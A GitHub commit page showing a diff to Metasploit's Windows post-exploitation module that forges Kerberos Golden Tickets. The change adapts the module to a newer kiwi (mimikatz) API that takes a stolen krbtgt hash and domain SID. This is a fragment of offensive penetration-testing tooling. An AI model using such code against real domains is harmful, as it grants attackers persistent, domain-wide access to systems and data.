Skip to content

Commit 18e69b8

Browse files
committed
Update the golden ticket module to work with new kiwi
1 parent 93a280d commit 18e69b8

File tree

1 file changed

+9
-5
lines changed

1 file changed

+9
-5
lines changed

modules/post/windows/escalate/golden_ticket.rb

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -52,9 +52,6 @@ def run
5252
domain_sid = datastore['SID']
5353
id = datastore['ID'] || 0
5454

55-
groups = []
56-
groups = datastore['GROUPS'].split(',').map(&:to_i) if datastore['GROUPS']
57-
5855
unless domain
5956
print_status('Searching for the domain...')
6057
domain = get_domain
@@ -103,12 +100,19 @@ def run
103100
end
104101

105102
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
106-
ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups)
103+
ticket = client.kiwi.golden_ticket_create({
104+
user: user,
105+
domain_name: domain,
106+
domain_sid: domain_sid,
107+
krbtgt_hash: krbtgt_hash,
108+
id: id,
109+
group_ids: datastore['GROUPS']
110+
})
107111

108112
if ticket
109113
print_good('Golden Ticket Obtained!')
110114
ticket_location = store_loot("golden.ticket",
111-
"binary/kirbi",
115+
"base64/kirbi",
112116
session,
113117
ticket,
114118
"#{domain}\\#{user}-golden_ticket.kirbi",

0 commit comments

Comments
 (0)